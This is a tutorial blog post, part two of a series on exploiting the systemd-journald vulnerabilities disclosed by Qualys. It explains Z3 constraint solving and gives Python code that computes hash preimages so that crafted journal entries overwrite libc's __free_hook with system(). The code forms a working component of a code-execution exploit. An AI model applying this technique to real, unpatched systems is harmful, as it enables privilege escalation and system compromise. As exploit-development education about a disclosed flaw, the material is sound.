**Introduction**

This is the second part in a multipart series on exploiting two vulnerabilities in `systemd-journald`

, which were published by Qualys on January 9th. In the first post, we covered how to communicate with journald, and built a simple proof-of-concept to exploit the vulnerability, using predefined constants for fixed addresses (with ASLR disabled).

In this post, we explore how to compute the hash preimages necessary to write a controlled value into libc’s `__free_hook`

as described in part one. This is an important step in bypassing ASLR, as the address of the target location to which we redirect execution (which is `system`

in our case) will be changing between each instance of systemd-journald. Consequently, successful exploitation in the presence of ASLR requires computing a hash preimage dynamically to correspond with the respective address space of that instance of systemd-journald. How to disclose the location of `system`

, and writing an exploit to completely bypass ASLR, are beyond the scope of this post.

## The Challenge

As noted in the first blog post, we don’t directly control the data written to the stack after it has been lowered into `libc`

’s memory – the actual values written are the result of hashing our journal entries with `jenkins_hashlittle2`

. Since this is a function pointer we’re overwriting, we must have full 64 bit control of the hash output which can seem like a very daunting task at first, and would indeed be impractical if a cryptographically secure hash was used. However `jenkins_hashlittle2`

is **not** cryptographically secure, and we can use this property to generate preimages for any 64 bit output in just a few seconds.

## The Solution

We can use a tool like Z3 to build a mathematical definition of the hash function and automatically generate an input which satisfies certain constraints (like the output being the address of `system`

, and the input being constrained to valid entry format).

### Z3

Z3 is a theorem prover which gives us the ability to (among other things) easily model and solve logical constraints. Let’s take a look at how to use it by going through an example in the Z3 repo. In this example, we want to find if there exists an assignment for variables x and y so that the following conditions hold:

- x + y > 5
- x > 1
- y > 1

It is clear that more than one solutions exist to satisfy the above set of constraints. Z3 will inform us if the set constraints has a solution (is satisfiable), as well as provide us with *one* assignment to our variables that demonstrates satisfiability. Let’s see how Z3 can do so:

```
from z3 import *
x = Real('x')
y = Real('y')
s = Solver()
s.add(x + y > 5, x > 1, y > 1)
print(s.check())
print(s.model())
```

This simple example shows how to create variables (e.g. `Real('x')`

), add the constraints that x + y > 5, x > 1, and y > 1 `(s.add(x + y > 5, x > 1, y > 1)`

), check if the given state is satisfiable (i.e. there are values for x and y that satisfy all constraints), and get a set of values for x and y that satisfy the constraints.

As expected, running this example yields:

```
sat
[y = 4, x = 2]
```

meaning that the stated formula is satisfiable, and that y=4, x=2 is a solution that satisfies the equation.

**BitVectors**

Not only can Z3 represent arbitrary real numbers, but it can also represent fixed-width integers called BitVectors. We can use these to model some more interesting elements of low-level computing like integer wraparound:

```
from z3 import *
x = BitVec('x', 32) # Create a 32-bit wide variable, x
y = BitVec('y', 32)
s = Solver()
s.add(x > 0, y > 0, x+y < 0) # Constrain x and y to be positive, but their sum to be negative
print(s.check())
print(s.model())
```

A few small notes here:

- Adding two BitVecs of a certain size yields another BitVec of the same size
- Comparisons made by using < and > in Python result in signed comparisons being added to the solver constraints. Unsigned comparisons can be made using Z3-provided functions.

And as we’d expect,

```
sat
[b = 2147451006, a = 2147451006]
```

BitVecs give us a very nice way to represent the primitive C types, such as the ones we will need to model the hash function in order to create our preimages.

**Transformations**

Being able to solve simple equations is great, but in general we will want to reason on more complex operations involving variables. Z3’s Python bindings allow us to do this in an intuitive way. For instance (drawing from this Wikipedia example), if we wanted to find a fixed point in the equation `f(x) = x2-3x+4`

, we can simply write:

```
def f(x):
return x**2 - 3*x + 4
x = Real('x')
s = Solver()
s.add(f(x) == x)
s.check()
s.model()
```

This yields an expected result:

```
sat
x = 2
```

Lastly, it’s worth noting that Z3’s Python bindings provide pretty-printing for expressions. So if we print out `f(x)`

in the above example, we get a nicely formatted representation of what f(x) is symbolically:

`x**2 - 3*x + 4`

This just scratches the surface of what you can do with Z3, but it’s enough for us to begin using Z3 to model `jenkins_hashlittle2`

, and create preimages for it.

**Modeling The Hash Function**

**Input**

As noted above, all BitVectors in Z3 have a fixed size, and this is where we run into our first issue. Our hash function, `jenkins_hashlittle2`

, takes a variable length array of input which can’t be modeled with a fixed length BitVec. So we first need to decide how long our input is going to be.

Looking through the hash function’s source, we see that it chunks its input into 3 `uint32_ts`

at a time, and operates on those. If this is a hash function that uniformly distributes its output, those 12 bytes of input *should* be enough to cover the 8 byte output space (i.e. all possible 8 byte outputs should be generated by one or more 12 byte input), so we should be able to use 12 bytes as our input length. This also has the benefit of never calling the hash’s internal state mixing function, which greatly reduces the complexity of the equations.

```
length = 12
target = 0x7ffff7a33440 # The address of system() on our ASLR-disabled system
s = Solver()
key = BitVec('key', 8*length)
```

**Input Constraints**

Our input (`key`

) has to satisfy several constraints. Namely, it must be a valid journald native entry. As we saw in part one, this means it should resemble `“ENTRY_NAME=ENTRY_VALUE”`

. However there are some constraints on `ENTRY_NAME`

that we must be taken into account (as checked by the `journal_field_valid`

function): the name must be less than 64 characters, must start with `[A-Z]`

, and must only contain `[A-Z0-9_]`

. The `ENTRY_VALUE`

has no constraints besides not containing a newline character, however.

To minimize the total number of constraints Z3 has to solve for, we chose to hard-code the entry format in our model as one uppercase character for the entry name, an equals sign, and then 10 ASCII-printable characters above the control character range for the entry value. To specify this in Z3, we will use the `Extract`

function, which allows us to select slices of a BitVector, such that we can apply constraints to that slice. `Extract`

takes three arguments: bit length, starting offset, and BitVector.

```
char = Extract(7, 0, key)
s.add(char >= ord('A'), char <= ord('Z')) # First character must be uppercase
char = Extract(15, 8, key)
s.add(char == ord('=')) # Second character must be ‘=’
for char_offset in range(16, 8*length, 8):
char = Extract(char_offset + 7, char_offset, key)
s.add(char >= 0x20, char <= 0x7e) # Subsequent characters must just be in the printable range
```

Note: Z3’s `Extract`

function is very un-Pythonic. It takes the high bit first (inclusive), then the low bit (inclusive), then the source BitVec to extract from. So `Extract(7, 0, key)`

extracts the first byte from key.

#### The Function Itself

Now that we have our input created and constrained, we can model the function itself.

First, we create our Z3 instance of the internal state variables `uint32_t a, b, c`

using the `BitVecVal`

class (which is just a way of creating a BitVec of the specified length with a predetermined value). The predetermined value is the same as in the hashing function, which is the constant `0xdeadbeef`

plus the length:

```
initial_vaue = 0xdeadbeef + length
a = BitVecVal(initial_value, 32)
b = BitVecVal(initial_value, 32)
c = BitVecVal(initial_value, 32)
```

Note: The *pc component of the initialization will always be 0, as it’s initialized to 0 in the `hash64()`

function, which is what’s actually called on our input.

We can ignore the alignment checks the hash function does (as we aren’t actually dereferencing anything in Z3). We can also skip past the `while (length > 12)`

loop, and start in the `case 12`

as our length is hard-coded to be 12. Thus the first bit of code we need to implement is from inside the `switch`

block on the length, at `case 12`

, which adds the three parts of the key to `a,`

`b,`

and `c:`

```
a += Extract(31, 0, key)
b += Extract(63, 32, key)
c += Extract(95, 64, key)
```

Since `key`

is just an vector of bits from the perspective of Z3, in the above code we just `Extract`

the first, second, and third `uint32_t`

– there’s no typecasting to do.

Following the C source, we next need to implement the `final`

macro, which does the final state mixing to produce the hash output. Looking at the source, it uses another macro (`rot`

), but this is just a simple rotate left operation. Z3 has rotate left as a primitive function, so we can make our lives easy by adding an import to our Python:

`from z3 import RotateLeft as rot`

And then we can simply paste in the macro definition verbatim (well, minus the line-continuation characters):

```
c ^= b; c -= rot(b, 14)
a ^= c; a -= rot(c, 11)
b ^= a; b -= rot(a, 25)
c ^= b; c -= rot(b, 16)
a ^= c; a -= rot(c, 4)
b ^= a; b -= rot(a, 14)
c ^= b; c -= rot(b, 24)
```

At this point, the variables `a`

, `b`

, and `c`

contain equations which represent their state when the hash function is about to return. From the source, `hash64()`

combines the `b`

and `c`

out arguments to produce the final 64-bit hash. So we can simply add constraints to our model to denote that `b`

and `c`

are equal to their respective halves of the 64-bit output we want:

```
s.add(b == (target & 0xffffffff))
s.add(c == (target >> 32))
```

All that’s left at this point is to check the state for satisfiability:

`s.check()`

Get our actual preimage value from the model:

`preimage = s.model()[key].as_long()`

And transform it into a string:

`input_str = preimage.to_bytes(12, byteorder='little').decode('ascii')`

With that, our exploit from part 1 is now fully explained, and can be used on any system where the addresses of libc and the stack are constant (i.e. systems which have ASLR disabled).

## Conclusion

Z3 is a *very* powerful toolkit that can be used to solve a number of problems in exploit development. This blog post has only scratched the surface of its capabilities, but as we’ve seen, even basic Z3 operations can be used to trivially solve complex problems.